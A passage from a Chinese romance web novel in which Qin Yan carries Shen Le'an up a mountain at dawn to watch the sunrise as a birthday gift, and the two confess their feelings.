于是沈乐安便迷澄澄地又闭上了眼睛,秦砚背的很稳,但还是因为蜿蜒的幅度而略有一丝倾斜悬空的感知,Alpha挡住了大半的风,但还是有些初晨的凉意穿透骨髓,逼走了睡意。 沈乐安勉强睁开眼,才发觉自己早已不在别墅,甚至别墅的位置也消失在了视野之中,往右边一望,是茫茫的雾气和生机盎然的绿意。 位置逐渐攀高。 秦砚停在山顶的大树下,低声问:“醒了吗?” 沈乐安用鼻音含糊地回他:“嗯。” “能不能站稳?” “……你放我下来。” 秦砚蹲下,让他从背上顺利落地。 沈乐安才发现他身前还挎着一个黑色的大包。 秦砚拉开链子,取出里面的大方块布,整齐铺在地上,然后将水和面包取出,放在干净的布料上面。 “饿了可以先吃点东西。”秦砚道。 原来带他来这里是希望来这里看日出啊。 沈乐安对他毫无浪漫细胞的评价删除,缓缓坐下,拢了拢外套,“怎么不直接开车上来?” “昨晚碰了酒,还没有完全散。” 酒是他主动找来的,也是他给倒的,喝也是他起哄的,最后醉酒险些耽搁看日出,如果还有这口锅,沈乐安也得担着。 沈乐安默默咽下了斥责他昨晚言行举止非常过分的行为,打算在观看美好的日出前暂且不追究。 天还没有完全亮,眼前还是黑漆漆雾茫茫的一片。 沈乐安吃了两口面包,盯着远处的暗色,道:“你之前说你和谢景开他们经常来这赛车?” 秦砚嗯了一声。 “这是你们赛车的时候发现的地方?” 这条路和赛车的道似乎不在一块,在另外一条小道。 “不是,”秦砚回道,“这是我自己发现的。” 沈乐安意外地看向他:“你自己怎么走到的这里?” “秦译重伤住院下了病危通知的时候我无意发现了这里,在这里坐了一晚上,发现了这个看日出的地方。”秦砚陈述着当时的经历,语气很平静,但内容中难掩的东西沈乐安还是能看得出。 沈乐安难得沉默了一下,才道:“我一直觉得你似乎不会存在这种脆弱的情绪。” “人无完人,事实证明,我也会有搞不定的东西。”秦砚说着,目光却落在少年的身上。 天光开亮,泼墨一般的金调渐渐散开,将黑夜吞噬,升高的温度灼灭了浓浓的霜雾,驱散了Alpha眼底一贯的冰冷,暖黄的日光轻轻撒落在他的面孔,为他镀了一层暖光,眸光变得温和而有温度。 那双眼睛里盛满了自己的倒影,宛若一对镜子,专注而认真。 像是无声的诉说。 沈乐安听到了自己慢半拍的心跳声。 “日出了。”秦砚提醒他。 沈乐安及时转头。 太阳从山头逐渐露出真实的面孔,曙光初现,而万物光明。 晨雾散尽,绿意从漫山遍野中翻涌而出,寒凉减退,取而代之的,是落在四周的柔软光点,细密的热意从暖光中摄取,也从怦怦跳动地心脏中向周身蔓延。 山中鸟鸣声响彻云霄,似乎还有野鸡的功劳,叫醒了沉睡的山峦。 美好的一天从清晨开始。 很普通的一句谚语,沈乐安第一次深切地有这样简单的感知。 沈乐安转回脑袋,问道:“这算是生日礼物?” “生日快乐,”秦砚语气温和,“安安。” Alpha脸上笼罩着淡淡的柔光,还是冷静自持的眉眼,但少了一分凌厉,反而添了一分柔和。 沈乐安头一回完完全全的卸下心防,诚恳道:“谢谢你的礼物,我很喜欢,这是我收到过的最喜欢的一件生日礼物。” “作为回报,”他道,“我可以满足你一个愿望,你有什么想实现的心愿吗?” 秦砚笑了下,“你觉得我会许什么愿望?” Alpha坦然露出笑意的时候和平时很不同,眸光专注,眼尾稍稍扬起,多了一丝轻佻。 沈乐安承认自己现在看不透他,坦白道:“我不知道,你说来听听。” 或许会按照传统的俗套剧本,顺杆子下坡,把关系确定? 毕竟他们现在还处于不明不白的情况。 成年人大多时候都是心照不宣,但一旦戳破又是另外一种尴尬。 “我追你不会通过这种方式,安安,”秦砚盯着他道,“如果真的要谈愿望,那还是希望你以后每天都可以和今天一样没有防备地表达喜悦。” “秦教官,你是说我之前很没有安全感咯?”沈乐安扬了扬眉。 秦砚道:“显而易见。” 沈乐安支起下巴,不解:“很明显?” 秦砚低头看向他,“我能辨别得出来。” 这是从上辈子穷苦落魄起家的孤儿沈乐安那里带过来的,这辈子勉强说得上家庭美满大富大贵的沈乐安于情于理不应该出现这样的性格缺陷,他一直认为自己遮掩的很好,但没想到秦砚一语道破。 “你怎么看出来的?”沈乐安是真的好奇。 “感觉。”秦砚抬手,轻轻擦去他嘴角粘上的面包粒,“我确实也无法解释。” 太阳从牢笼桎梏中脱然而出,日光顷刻铺到漫山遍野,落在广阔天空,驱散了所有的犹疑和迷惘。 沈乐安很轻地笑出了声。 嘴上眼里染上了日光的暖调,也含着开怀的笑容,张扬又明媚。 高傲自负的沈小少爷头一回微微垂下了鹅颈,追随着Alpha快要离去的温度,吻上对方的指尖,虔诚而温柔,如似乳燕投林。 秦砚怔了怔,听到了他含着笑意的声线。 “你赢了秦上将。” “哦,不对。” “男朋友。” 日光初上,遍野声渐。 情意萌芽于某个不知名的瞬间。